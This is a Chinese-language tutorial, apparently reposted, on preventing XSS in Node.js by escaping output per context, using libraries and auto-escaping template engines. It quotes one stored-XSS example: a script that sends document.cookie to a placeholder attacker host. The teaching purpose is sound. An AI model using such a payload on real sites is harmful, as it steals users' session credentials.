- 文档
- 教程
- 后端
【免费下载链接】nodebestpractices
✅ The Node.js best practices list (July 2026)
导读
本篇指南聚焦 Node.js 应用中最常见也最危险的安全漏洞之一——XSS(跨站脚本攻击),核心对策是"输出转义(Escape Output / 编码)"。你将理解为什么"看似纯文本的内容"会在浏览器中被当作 JavaScript 执行,掌握在 HTML、CSS、JavaScript 等不同上下文中正确转义非可信数据的规则,并学会借助 npm 安全编码库与模板引擎内建转义机制,让任何被注入数据库的恶意内容都只能作为纯文本展示、永远无法执行。文中所有结论均以当前仓库 nodebestpractices 的安全章节为骨架,并结合仓库内源码与配置给出可验证的实操依据。
1. 问题本质:HTML 把内容与可执行代码混在一起
HTML 以及其他 Web 语言(CSS、JavaScript、SVG 等)有一个根本特性:它们把"数据展示"与"可执行代码"混在同一份文档里。一段看似普通的 HTML 段落,可能同时包含视觉数据和会被浏览器解释执行的 JavaScript 指令。
这意味着,当我们在渲染 HTML 或通过 API 返回数据时,我们认为"只是内容"的东西,很可能实际上是会被浏览器解释并执行的 JavaScript 代码。典型场景是:攻击者向数据库插入了一段内容,随后我们把这些内容原样渲染给其他用户。
以仓库文档 escape-output.md 中的原示例为骨架,下面是一段被注入数据库的恶意"评论"内容:
<div> <b>Komentario bat</b> <script> window.location='http://attacker/?cookie='+document.cookie </script> </div>(巴斯克语原文Komentario bat意为"一条评论"。)
当这段内容被渲染到受害者浏览器时,<script>标签内的代码会立即执行:把受害者的document.cookie(通常包含会话凭证)发送到攻击者控制的地址http://attacker/?cookie=...。受害者看到的只是一条普通评论,但其登录凭证已被窃取——这就是存储型 XSS 的完整攻击链。
缓解思路:让浏览器把任何"非可信数据片段"只当作内容、绝不当作代码来解析。这项技术就叫转义(Escaping),有时也称为编码(Encoding)。其本质是:以某种不会被执行或解释的方式来表示数据。
用一句话总结(来自 benramsey.com 的经典解释):数据会以多种形式离开你的应用——发往 Web 浏览器的 HTML、发往数据库的 SQL、发往 RSS 阅读器的 XML、发往无线设备的 WML……每种形式都有一套与普通文本解释方式不同的特殊字符。有些时候我们希望这些特殊字符被解释(例如发往浏览器并希望生效的 HTML 标签),另一些时候(例如来自用户或其他来源的输入)我们不希望它们被解释,因此必须对它们转义。
1.1 直观示例:加粗标签的两种命运
同样是<strong>标签,浏览器对它的处理完全取决于是否转义:
- 不转义:HTML 会把下面的文本渲染成加粗,因为
<strong>标签有特殊含义:
<strong>Testu hau letra lodiz idatzita dago.</strong>- 转义:如果我们想在浏览器中"展示标签本身"而避免其被解释,就需要对在 HTML 中有特殊含义的尖括号进行转义:
<strong>Testu hau letra lodiz idatzita dago.</strong>浏览器会把<显示为<,但绝不会把它当作标签起始符去解析,因此页面显示的是字面文本Testu hau letra lodiz idatzita dago.,而没有任何加粗效果。这正是"把代码变成纯内容"的最小工作单元。
2. 红线清单:绝对不要把非可信数据放进这些 HTML 位置
即便我们对 HTML 做了实体编码(例如把<转义为<),也只在特定的 HTML 上下文中有效。OWASP 明确警告:把非可信数据放进以下位置,实体编码无法保护你,必须针对具体上下文使用专门的转义语法:
<script>...INOIZ EZ JARRI FIDAGARRIA EZ DEN KODEA HEMEN...</script> zuzenean scriptean(直接写在 <script> 内) <!--...INOIZ EZ JARRI FIDAGARRIA EZ DEN KODEA HEMEN...--> HTML komentario baten barruan(HTML 注释内) <div ...INOIZ EZ JARRI FIDAGARRIA EZ DEN KODEA HEMEN...=test /> ezaugarri izen batean(属性名中) <INOIZ EZ JARRI FIDAGARRIA EZ DEN KODEA HEMEN... href="/test" /> tag izen batean(标签名中) <style>...INOIZ EZ JARRI FIDAGARRIA EZ DEN KODEA HEMEN...</style> CSSan zuzenean(直接写在 CSS 内)(巴斯克语INOIZ EZ JARRI FIDAGARRIA EZ DEN KODEA HEMEN意为"永远不要把非可信代码放在这里",下同。)
2.1 为什么实体编码在这些位置会失效
OWASP 在 XSS Prevention Cheat Sheet 中的警告被仓库文档完整引用:
"如果你把非可信数据放进
<script>标签的任何位置,或放进onmouseover这类事件处理器属性、CSS 或 URL 中,HTML 实体编码是不起作用的。所以即使你在所有地方都使用 HTML 实体编码方法,你仍然很可能对 XSS 漏洞暴露无遗。你必须针对你放入非可信数据的 HTML 文档那一部分,使用对应的转义语法。"
原因在于浏览器的解析器是嵌套的:HTML 解析器之外,还有 JavaScript 解析器、CSS 解析器、URL 解析器。实体编码只对 HTML 解析器有意义;一旦数据落入<script>或事件属性,就会被 JavaScript 解析器按脚本语法解读,<之类实体根本不会被执行引擎识别。
3. 实战对策:用安全编码库与模板引擎做转义
3.1 优先使用"安全导向"的编码库
手写编码器"并不算太难,但暗藏不少陷阱"(OWASP 语)。仓库文档 escape-output.md 明确指出,大量 npm 库和 HTML 模板引擎都内置了转义能力,推荐示例包括:
- escape-html:轻量、专注的 HTML 字符串转义库,把
& < > " '等字符替换为对应 HTML 实体,适用于"HTML 正文/属性"上下文。 - node-esapi:OWASP ESAPI(Enterprise Security API)的 Node.js 移植版,提供面向多种上下文(HTML、HTML 属性、JavaScript、CSS、URL)的上下文敏感编码器。
OWASP 的明确建议是:
"编写这些编码器并不特别困难,但存在相当多的隐藏陷阱。例如,你可能会忍不住在 JavaScript 中使用
\"这类转义捷径。然而这些值很危险,可能被浏览器中的嵌套解析器错误解读。你也可能忘记转义转义字符本身,攻击者可以利用这一点来中和你的安全努力。OWASP 建议使用安全导向的编码库,以确保这些规则被正确实现。"
这意味着:不要自己写正则替换式转义函数,交给经过实战检验的库,让每条规则都落在正确位置。
3.2 上下文敏感编码:不同位置用不同语法
从代码结构看,nodebestpractices 的安全章节(commonsecuritybestpractices.md 的 OWASP A7: Cross-Site-Scripting (XSS) 小节)对 XSS 防御给出了完整的分层方案:
- 使用设计上就自动转义 XSS 的模板引擎或框架,如 EJS、Pug、React 或 Angular。了解每种机制 XSS 防护的局限性,并妥善处理未被覆盖的用例;
- 根据 HTML 输出中的上下文(body、attribute、JavaScript、CSS 或 URL)对非可信的 HTTP 请求数据进行转义,可解决反射型(Reflected)和存储型(Stored)XSS 漏洞;
- 在客户端修改浏览器文档时应用上下文敏感编码,可抵御 DOM 型 XSS;
- 启用内容安全策略(Content-Security-Policy, CSP)作为纵深防御(defense-in-depth)的缓解控制。
其中第二条正是本文的核心:同一份数据,进入 body、属性、JavaScript、CSS、URL 这五种上下文,必须分别使用各自的转义规则,不存在"一种转义打天下"的方案。
典型对照如下:
| 输出上下文 | 危险字符示例 | 正确的转义/编码方式 |
|---|---|---|
| HTML body | <>& | HTML 实体编码(如<) |
| HTML 属性(引号内) | "'及空白控制符 | 属性上下文编码(对引号、反引号、空格等做实体化) |
| JavaScript(字符串内) | '"\换行、</script> | JavaScript 编码(对不可信字符做\x/\u转义),并杜绝使用\"捷径 |
| CSS(值内) | ;(){}等 | CSS 转义(如\XX十六进制转义) |
| URL | javascript:协议、&、? | URL 编码 + 协议白名单校验 |
在正文中使用 HTML 实体编码是正确的;但同样的数据一旦进入onmouseover事件属性,就必须改用 JavaScript 上下文编码,否则实体会被事件处理器中的 JS 解析器"还原"后执行。
3.3 优先选"默认自动转义"的模板引擎
在 Node.js 生态中,最常见的落地方式不是手动调用转义库,而是选择设计上默认转义的模板引擎/框架。仓库文档点名的 EJS、Pug、React、Angular 都属于这一类:
- EJS:默认对
<%= %>输出的内容做 HTML 转义;若要输出原始 HTML 必须显式使用<%- %>(存在风险,应慎用)。 - Pug:属性插值默认转义,
!=才表示不转义。 - React / Angular:JSX 与 Angular 插值默认对字符串做 HTML 实体化处理,除非显式使用
dangerouslySetInnerHTML/[innerHTML]等逃生口。
使用这些默认转义的引擎,可以从架构层面消灭大部分反射型与存储型 XSS。同时必须记住文档的提醒:每种机制都有其局限(例如它们通常只覆盖 HTML 上下文,对javascript:URL、CSS 表达式、DOM 操作等场景仍需人工处理),未覆盖的用例要结合上下文编码与 CSP 补齐。
3.4 编码与注入的关系:先转义,后入库
需要特别澄清:转义处理的是"输出"环节,与 SQL 注入防御(参数化查询/ORM)是两个互补且不可替代的维度。即便数据在输入时经过了校验和清洗,攻击者依然可能通过其他渠道(管理后台、批量导入、第三方 API)把恶意 HTML 写入数据库。因此仓库的立场是:对"输出"永远不信任——每次把数据渲染给浏览器时都执行转义,而不是假设"数据入库前已经安全"。这与仓库中 ormodmusage.md 强调的"输入校验 + 参数化查询"一起,构成纵深防御的完整闭环。
4. 仓库全景:这条最佳实践在 Node.js 最佳实践清单中的位置
本主题属于 nodebestpractices 安全板块的一条独立最佳实践(编号 6.9),总清单对其定位如下:
TL;DR:发送给浏览器的非可信数据可能被执行而不是被展示,这通常被称为跨站脚本(XSS)攻击。通过使用专门的库,把数据明确标记为"纯内容、绝不执行"(即编码、转义)来缓解这一风险。
否则会怎样:攻击者可能把恶意 JavaScript 代码存入你的数据库,随后原样发送给无辜的客户端。
该条目对应的完整展开文档即 sections/security/escape-output.md(本仓库还维护了 Basque、法、日、葡、波兰、俄等多语言版本,其中 escape-output.basque.md 与本文同源)。它与安全板块的其他条目共同构成一套完整的 Node.js 生产安全基线:
- commonsecuritybestpractices.md——通用安全基线:SSL/TLS、
crypto.timingSafeEqual安全比较、crypto.randomBytes安全随机数,以及完整的 OWASP Top 10 建议(其中 A7: XSS 小节与本主题直接呼应); - escape-output.basque.md——本文的骨架来源文档;
- avoideval.md——避免
eval及其同类实时求值函数,是防止 XSS 在客户端侧落地的配套措施; - secureheaders.md——通过 helmet 等模块配置安全响应头,其中 CSP 即为 3.2 节提到的纵深防御手段;
- saferedirects.md——防止开放重定向,避免恶意 URL 把用户带离你的域。
从源码结构看,该项目是以 Markdown 文档为载体的最佳实践清单仓库(sections/security/目录即安全专题的全部条目,sections/template.md定义了统一的"一段话解释 → 代码示例 → 博客引证"写作模板),因此本节内容天然以"可执行的防护建议 + 可复现的代码示例"形式沉淀,便于开发者在真实项目中逐条落地。
5. 落地检查清单
把本文理论固化为可执行的验收项:
- 渲染前必转义:所有非可信数据在进入 HTML 输出前,一律经过转义;宁可多转,不可漏转。
- 分上下文转义:确认数据最终落在 body、属性、JavaScript、CSS 还是 URL 中,使用对应的上下文编码,禁止混用 HTML 实体编码覆盖全部场景。
- 禁止手写转义:优先使用
escape-html、node-esapi等安全编码库,或依赖 EJS/Pug/React/Angular 的默认转义能力。 - 警惕逃生口:
<%- %>、dangerouslySetInnerHTML、[innerHTML]等"输出原始 HTML"的通道一律视为高风险,使用前必须人工确认数据可信。 - 禁用捷径:不使用
\"之类的转义捷径转义 JavaScript 上下文数据;同时对转义字符本身转义,防止攻击者注入转义符中和防护。 - 纵深防御:在输出转义之外,叠加 CSP 响应头、HttpOnly Cookie(参见 commonsecuritybestpractices.md 的 OWASP A6 建议)、避免
eval等措施,即便某层失效也不至于全线崩溃。
结语
输出转义是 Node.js 应用对抗 XSS 的第一道也是必须存在的一道防线:它不关心攻击者如何把恶意代码写进数据库,只要求在"把数据交给浏览器"的那一刻,让任何非可信数据都以纯内容的形态呈现。结合上下文敏感编码、默认自动转义的模板引擎、安全编码库与 CSP 纵深防御,你的应用就能在存储型、反射型与 DOM 型 XSS 三类攻击面前站稳脚跟。要查看更多配套安全实践,可直接深入本仓库的 sections/security/ 目录逐条对照落地。
- 文档
- 教程
- 后端
【免费下载链接】nodebestpractices
✅ The Node.js best practices list (July 2026)
相关推荐
Node.js 安全实践:输出转义(Escape Output)——从根上阻断 XSS 攻击
Node.js 安全实践:输出转义(Escape Output)——从根上阻断 XSS 攻击 本篇技术指南聚焦 Node.js 最佳实践清单(nodebestp
文档教程后端Node.js 安全实践:彻底掌握输出转义(Escape Output),阻断 XSS 注入
Node.js 安全实践:彻底掌握输出转义(Escape Output),阻断 XSS 注入 导读 输出转义(Escape Output)是 Node.js 应
文档教程后端Node.js 输出转义(Escape Output)实战指南:用 HTML/CSS/JS 数据逃逸彻底阻断 XSS 攻击
Node.js 输出转义(Escape Output)实战指南:用 HTML/CSS/JS 数据逃逸彻底阻断 XSS 攻击 本文对应 nodebestpract
文档教程后端
创作声明:本文部分内容由AI辅助生成(AIGC),仅供参考